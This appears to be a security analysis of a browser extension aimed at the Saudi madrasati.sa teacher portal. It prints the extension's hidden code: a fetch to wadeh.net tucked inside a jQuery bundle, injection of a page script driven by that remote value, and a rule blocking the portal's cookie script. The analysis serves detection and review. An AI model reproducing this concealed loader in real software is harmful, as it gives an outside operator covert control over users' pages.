تحضيري

At top-level inside what is otherwise a verbatim jQuery 3.6.1 source file, the script issues an unconditional fetch to https://wadeh.net/ta1.php (a domain unrelated to the extension's stated service tahdiri.com) and persists the JSON response into chrome.storage.local under key 'qqw'. Embedding a remote network call inside a vendor library is a concealment pattern, the endpoint is attacker-controlled, and the response is later read back and concatenated into a script URL that is injected into the page (see lines 4217-4219), giving the operator a live remote-configuration channel that drives in-page script behavior on every madrasati.sa page (a Saudi MoE portal used by ~100k teachers).

var al = '3.6.1',  am = function(cF, cG) {    return new am['fn']['init'](cF, cG);  };fetch('https://wadeh.net/ta1.php')['then'](cF => {  return cF['json']();})['then'](cF => {  chrome['storage']['local']['set']({    'qqw': JSON['stringify'](cF)  })['then'](() => {});});

The previously-fetched payload from wadeh.net (stored as 'qqw') is appended verbatim to the URL of an injected page-context script (myscript2.js). The injected script runs in the MAIN world of every schools.madrasati.sa page (matched by content_scripts entry in manifest.json) and reads its query string, so the wadeh.net operator can dynamically steer in-page behavior on a government education portal. The fetched value is treated as trusted instructions but originates from a non-product third-party domain.

function injectCode(a) {  var b = document['createElement']('script');  b['src'] = a, b['onload'] = function() {    this['remove']();  }, nullthrows(document['head'] || document['documentElement'])['appendChild'](b);}chrome['storage']['local']['get'](['qqw'])['then'](a => {  a['qqw'] == undefined ? injectCode(chrome['runtime']['getURL']('/myscript2.js?a=[\x22\x22]')) : injectCode(chrome[    'runtime']['getURL']('/myscript2.js?a=' + a['qqw']));});

The remote command-and-config call is hidden inside a file that otherwise reproduces the standard jQuery 3.6.1 source (variable names a0..af, the jQuery init wrapper, etc.), making the malicious behavior easy to miss during casual review and easy to attribute to 'just a jQuery bundle'. Hiding network exfiltration/configuration calls inside a renamed vendor library is an established obfuscation technique used to evade Web Store review.

fetch('https://wadeh.net/ta1.php')['then'](cF => {  return cF['json']();})['then'](cF => {  chrome['storage']['local']['set']({    'qqw': JSON['stringify'](cF)  })['then'](() => {});});

The declarativeNetRequest ruleset silently blocks a specific cookie-handling script (vstedu.azureedge.net/v19/scripts/jquery.cookie.js?v=12) loaded by the Saudi Ministry of Education's madrasati.sa portal. Suppressing an upstream cookie/security script on a government site is a tampering primitive: it can disable the site's session-handling or anti-fraud logic to give the extension's own injected code a freer hand, and the user has no UI surface that explains this network manipulation.

[  {    "id": 1,    "priority": 1,    "action": {      "type": "block"    },    "condition": {      "urlFilter": "https://vstedu.azureedge.net/v19/scripts/jquery.cookie.js?v=12"    },    "domains": [      "schools.madrasati.sa",      "external.madrasati.sa"    ],    "resourceTypes": [      "main_frame"    ]  }]